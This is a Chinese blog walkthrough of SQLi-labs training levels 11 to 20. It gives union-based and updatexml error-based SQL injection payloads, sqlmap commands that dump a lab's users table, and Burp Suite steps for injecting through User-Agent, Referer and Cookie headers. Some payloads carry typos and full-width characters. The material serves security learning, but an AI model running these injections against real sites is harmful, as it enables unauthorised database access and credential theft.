sqllabs 10到20关解法

雨季小朋友

已于 2023-09-11 16:02:51 修改

阅读量137

点赞数 1

分类专栏：安全学习文章标签： web安全

于 2023-09-05 19:39:27 首次发布

本文链接：https://blog.csdn.net/j2941174356/article/details/132698946

版权

安全学习专栏收录该内容

4 篇文章 0 订阅

订阅专栏

11-15 关为联合查询

判断闭合符号，看是否存在注入点
根据报错提示得出闭合符号为 ‘
判断数据列数为 2

使用 # 号进行注释因为 # 注释在没有与注释内容之间没有空格的地方也生效，而 -- 注释必须又有空格隔开注释内容

使用联合查询

查询表

1 ' union select (select group_concat(table_name) from information_schema.tables where table_schema =database（） ),version()#

查询列

1 ' union select (select group_concat(column_name) from information_schema.columns where table_schema =database（）and table_name ='users' ),version()#

查询数据

1 ' union select (select group_concat(username，0x7e，passworld) from security.users ),version()#

15-16 使用sqlmap实现注入或者使用布尔盲注

上传数据爆破数据库


sqlmap -u http://192.168.124.53/sqllabs/Less-15/ --data "uname=1&passwd=11&Submit=submit" --dbs --batch

爆破表


sqlmap -u http://192.168.124.53/sqllabs/Less-15/ --data "uname=1&passwd=11&Submit=submit" -D 'security'  -tables  --batch

爆破列

sqlmap -u http://192.168.124.53/sqllabs/Less-15/ --data "uname=1&passwd=11&Submit=submit" -D 'security'  -T 'users' -coulmns  --batch

爆破数据

sqlmap -u http://192.168.124.53/sqllabs/Less-15/ --data "uname=1&passwd=11&Submit=submit" -D 'security'  -T 'users' -C 'uusername ,passworld' --dump --batch

17-20 关使用报错注入（报错注入的点不同）
1. 17关报错注入点为密码输入栏而且账号要正确
  1. 报错注入表
    1. ```
    123'  and (updatexml(1,(select group_concat(table_name) from information_schema.tables where table_schema ='security'),1)) #
```
2. 报错注入列
  1. ```
  123'  and (updatexml(1,(select group_concat(column_name) from information_schema.columns where table_schema ='security' and table_name='users'),1)) #
```
1. 18 关报错点为 user agent （需要正确输入密码和账号）
  2. 通过 burpsuite 抓包
    1. 火狐浏览器抓包
      1. 在设置中网络设置
    1. burpsuite 设置
      2. 若还不能抓包在火狐浏览器搜索 about:config 后搜索 network.proxy.allow_hijacking_localhost 改为 true
      4. 发送给重发器对 user agent 进行修改
      6. 根据17关报错流程依次注入
  1. 19关注入点为 referer（需要正确输入密码和账号）和 18关一样
  2. 20关注入点 cookie（需要正确输入密码和账号）和 18关一样
评论点赞，一起探讨吧！